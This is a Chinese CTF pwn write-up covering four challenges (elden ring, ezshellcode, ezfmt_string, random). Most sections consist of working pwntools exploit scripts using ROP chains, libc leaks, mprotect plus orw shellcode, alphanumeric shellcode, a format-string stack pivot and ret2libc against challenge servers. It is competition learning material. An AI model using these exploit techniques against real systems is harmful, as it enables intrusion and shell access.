ID:korian

qq:1405637455

####ezsignIn

手速够快直接拿下一血

####elden ring

黑屏加载难绷，思路大概这样，栈迁移到bss段，mprotect改bss段权限，然后bss段注入shellcode执行orw.

```
from pwn import *
context(arch="amd64",log_level="debug")
#p=process("./vuln")
p=remote("47.100.137.175",32546)
one=0xe3afe
libc=ELF("./libc.so.6")
elf=context.binary=ELF("./vuln")
sleep(8)
#gdb.attach(p)
pop_rdi=0x00000000004013e3
main=0x401297
vuln=0x40125B
leave_ret=0x0000000000401290
csu1=0x4013dc
csu2=0x4013C0
gadget=0x000000000002601a
payload=b"a"*0x108+p64(pop_rdi)+p64(elf.got["puts"])+p64(elf.plt["puts"])+p64(vuln)
p.send(payload)
puts_addr=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
libc_base=puts_addr-libc.sym["puts"]
pop_rsi=0x000000000002601f+libc_base
pop_rdx=0x0000000000142c92+libc_base
pop_rdi=0x0000000000023b6a+libc_base
mprotect=libc_base+libc.sym["mprotect"]
print(hex(puts_addr))
print(hex(libc_base))
#sleep(8)
open_addr=libc_base+libc.sym["open"]
read_addr=libc_base+libc.sym["read"]
```

```
write_addr=libc_base+libc.sym["write"]
bss=0x404000
payload=b"a"*0x100+p64(bss)+p64(pop_rsi)+p64(bss)+p64(read_addr)+p64(leave_ret)
p.sendafter("Greetings. Traveller from beyond the fog. I Am Melina. I offer you an accord.\n",p
ayload)
#sleep(0.25)
payload=b"./flag\x00\x00"
payload+=flat([
    pop_rdi,bss,pop_rsi,0x1000,pop_rdx,7,mprotect,bss+0x50
])
payload.ljust(0x50,asm("nop"))
shellcode='''
    mov rdi,0x404000
    mov rax,2
    mov rsi,0
    syscall

    mov rdi,3
    mov rsi,0x404200
    mov rax,0
    mov rdx,0x50
    syscall

    mov rdi,1
    mov rsi,0x404200
    mov rax,1
    mov rdx,0x50
    syscall
'''
shellcode=asm(shellcode)
payload+=shellcode
p.send(payload)
p.interactive()
```

注意需要泄露libc基址。然后去调用mprotect

####ezshellcode

搓了半天shellcode发现ae64里面有现成的，这里的shellcode需要满足的约束

0<=v3<=9&&a<=v3<=z&&A<=v3<=Z,而ae64生成的shellcode里，满足rax寄存器这个约束的shellcode刚好也满足以上约束，所以直接用生成的就行了

```
from pwn import *
from ae64 import AE64
context(arch="amd64",os="linux")
#p=process("./vuln")
p=remote("47.100.137.175",31380)
#gdb.attach(p)
#obj=AE64()
#sc=obj.encode(shellcraft.sh(),"rax")
shellcode = b'WTYH39Yj3TYfi9WmWZj8TYfi9JBWAXjKTYfi9kCWAYjCTYfi93iWAZjcTYfi9O60t800T810T850T860T870T8A0t8B0T8D0T8E0T8F0T8G0T8H0T8P0t8T0T8YRAPZ0t8J0T8M0T8N0t8Q0t8U0t8WZjUTYfi9860t800T850T8P0T8QRAPZ0t81ZjhHpzbinzzzsPHAghriTTI4qTTTT1vVj8nHTfVHAf1RjnXZP'
lenth=len(shellcode)
p.sendline(str(-1))
sleep(0.25)
p.send(shellcode)
p.interactive()
```

####ezfmt_string

ez是你的谎言，其实可以给个libc文件，libc有时候会影响栈上布局，不给的话感觉不太严谨。我们先看看栈

```
pwndbg> stack 0x28
00:0000 | rsp 0x7fffffffde70 ◂— 'make strings and getshell\n'
01:0008 |     0x7fffffffde78 ◂— 'ings and getshell\n'
02:0010 |     0x7fffffffde80 ◂— ' getshell\n'
03:0018 |     0x7fffffffde88 ◂— 0x7ffff7000a6c /* 'l\n' */
04:0020 | r10 0x7fffffffde90 ◂— 0xa343135343131 /* '114514\n' */
05:0028 |     0x7fffffffde98 ◂— 0x0
06:0030 |     0x7fffffffdea0 —▸ 0x7ffff7e17600 (_IO_file_jumps) ◂— 0x0
07:0038 |     0x7fffffffdea8 —▸ 0x7ffff7c8a5ad (_IO_file_setbuf+13) ◂— test rax, rax
08:0040 |     0x7fffffffdeb0 —▸ 0x7ffff7e1b780 (_IO_2_1_stdout_) ◂— 0xfbad2887
09:0048 |     0x7fffffffdeb8 —▸ 0x7ffff7c8157f (setbuffer+191) ◂— test dword ptr [rbx], 0x80
00
0a:0050 |     0x7fffffffdec0 ◂— 0x6f0
```

```
0b:0058 |      0x7fffffffdec8 ◂— 0x0
0c:0060 |      0x7fffffffded0 —▸ 0x7fffffffdef0 —▸ 0x7fffffffdf10 ◂— 0x1
0d:0068 |      0x7fffffffded8 —▸ 0x7fffffffe028 —▸ 0x7fffffffe35f ◂— 0x306b2f656d6f682f ('/home/k0')
0e:0070 |      0x7fffffffdee0 ◂— 0x0
0f:0078 |      0x7fffffffdee8 ◂— 0x176937f276af0d00
10:0080 | rbp 0x7fffffffdef0 —▸ 0x7fffffffdf10 ◂— 0x1
11:0088 |      0x7fffffffdef8 —▸ 0x401369 (main+60) ◂— mov eax, 0
```

重点在**0x7fffffffdedo**处的这个指针，他是指向rbp的，由于只能printf一次，泄露栈上地址不太现实，就只能利用栈上已有的指针。这个指针指向rbp，我们可以改rbp低位，利用两次leave ret实现栈迁移，迁移到哪呢，程序给了我们一个sys函数，我们把这个函数的地址写到栈上，然后尝试把rbp迁移到sys-0x8的位置，如果成功，两次leave ret后就可以返回到sys函数上，由于不确定栈上的地址，需要爆破。

#####exp:

```
from pwn import *
context(arch="amd64",os="linux")
#p=process("./vuln")
#gdb.attach(p)
elf=ELF("./vuln")
stack_chk=elf.got["__stack_chk_fail"]
libc_start_main=elf.got["__libc_start_main"]
system=0x0000000000401245
#payload=fmtstr_payload(10,{stack_chk:system},write_size="short")+b"%17$n"+b"a"*0x13+b"\x08"
payload=f"%{0x70}c%18$hhn".encode()+b"a"*0x4+b"a"*0x28+p64(system)
#payload=f"%{system&0xffff}c%17$hnaaaa".encode()+b"a"*0x30+b"\x18"
print(hex(len(payload)))
#p.send(payload)
while True:
    #p=process("./vuln")
    p=remote("47.100.137.175",31102)
    p.send(payload)
    p.recvuntil("@")
    try:
        p.recv(timeout=1)
    except EOFError:
        p.close()
```

```
    else:
        p.interactive()
        break
#print(hex(len(payload)))
#p.interactive()
```

####random

仔细看发现，read在srand之前，且有溢出，刚好能把seed改了，那我们直接把seed改成0,省点事，然后照着他的要求答题就行，用一个循环。最后分两次rop，一次泄露基址并返回到myread,一次ret2libc就可以了。

#####exp:

```
import ctypes
context(os="linux",arch="amd64")
#p=process("./vuln")
p=remote("47.100.139.115",30530)
elf2=ELF("./vuln")
elf=ctypes.cdll.LoadLibrary("./libc.so.6")
elf.srand(0)
payload=b"a"*10+p64(0)
p.sendafter("name.",payload)
for i in range(99):
    payload=elf.rand()%100+1
    p.sendafter("number:",p64(payload))
s=p.recvuntil("mind.",timeout=10)
print(s)
rdi=0x0000000000401423
myread=0x401262
payload=b"a"*0x38+p64(rdi)+p64(elf2.got["puts"])+p64(elf2.plt["puts"])+p64(myread)
p.send(payload)
puts_addr=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
libc=ELF("./libc.so.6")
libc_base=puts_addr-libc.sym["puts"]
print(hex(libc_base))
one=0xe3b04
sleep(0.5)
system=libc.sym["system"]+libc_base
bin_sh=libc_base+next(libc.search(b"/bin/sh\x00"))
```

```
payload=b"a"*0x38+p64(rdi)+p64(bin_sh)+p64(system)
p.send(payload)
p.interactive()
```